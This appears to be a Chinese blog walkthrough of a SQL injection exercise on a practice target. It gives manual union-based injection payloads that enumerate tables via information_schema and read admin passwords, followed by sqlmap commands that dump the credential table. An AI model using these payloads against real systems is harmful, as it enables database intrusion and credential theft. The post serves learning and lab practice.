从两个方面来进行渗透测试,举一反二
注:只供学习使用,不得用于违法途径,否则后果自负!
靶场首页手工注入
一、检测是否存在注入点
我们在url最后加上 and 1=1,页面返回正常, 输入and 1=2,页面返回不正常,可知这里存在注入点(指程序直接将输入数据传入数据库中进行校验的漏洞)
二、暴字段长度
1、使用order by进行测试,我们知道在mysql数据库中order by是排序。在这里我们查找总共有多少个字段(页面),就是用order by来进行。输入order by 10,返回错误。
二分法继续,直到order by 2返回正确。可知有两个页面
2、and 1=2 union select 1,2
这里有两点需要注意:
1、and 1=2 让数据库故意报错,union select联合查询的目的,就是将多个select的查询结果返回,这里我们需要的是字段的长度,当然不能让union前半部分正确返回到结果集了
2、union select 1,2,这里的1,2只是为了凑数,union查询需要和前面那张表列数一致,正确显示最后你传入的数字就可确认有多少个字段
3、得到数据库版本
and 1=2 union select 1, version()
根据输入的语法测试,我们基本可以确认这是mysql 5.5.53版本
三、暴数据库用户名,表名,密码
用户名 数据库名接着,我们直接查找表
and 1=2 UNION SELECT 1,table_name from information_schema.tables where table_schema=database()
这里需要注意的是:
information_schema是mysql系统自带的数据库,记录了所有的字符集、权限相关,数据库、表、数据库实体对象信息等等。我们从information_schema获取当前位置的表名。
知道了表名,我们就可以直接拿password了(flag)
and 1=2 UNION SELECT 1,password from admin
手工注入部分结束
总结:手工注入是一种快速渗透方式。当然,需要非常了解注入原理和具备一定经验才能运用自如,对于新手理解注入原理具有很大的帮助。
sqlmap注入
sqlmap是一款功能强大的渗透注入工具。不了解的请自行百度......好了,不多说,开始干。
1、获取数据库
sqlmap -u "目标地址+id" --dbs
不仅可获取数据库,包括操作系统、语言版本、web容器,数据库类型和版本都可获取
获取数据库
sqlmap -u "目标地址+id" -D maoshe --tables
获取表sqlmap -u "目标地址+id" -D maoshe -T admin --columns
获取列名
sqlmap -u "目标地址+id" -D maoshe -T admin -C "Id,user,password" --dump
获取密码
到此结束。
flag到手工具注入结束
总结:工具能够快速帮我们找到想要的信息,不过最好在理解原理的前提下使用,不要过于依赖。要想更上一层楼,理解原理是硬功夫。当然,如果提前达到,可以更方便的话,那为啥不方便一点呢~
总结:
写文章真是一个体力活,渗透操作比较简单,但是截图、整理过程都很费工夫。不过这是值得的,一方面再次梳理自己的思维逻辑;一方面能从整个过程中进一步总结,便于提升。
网友评论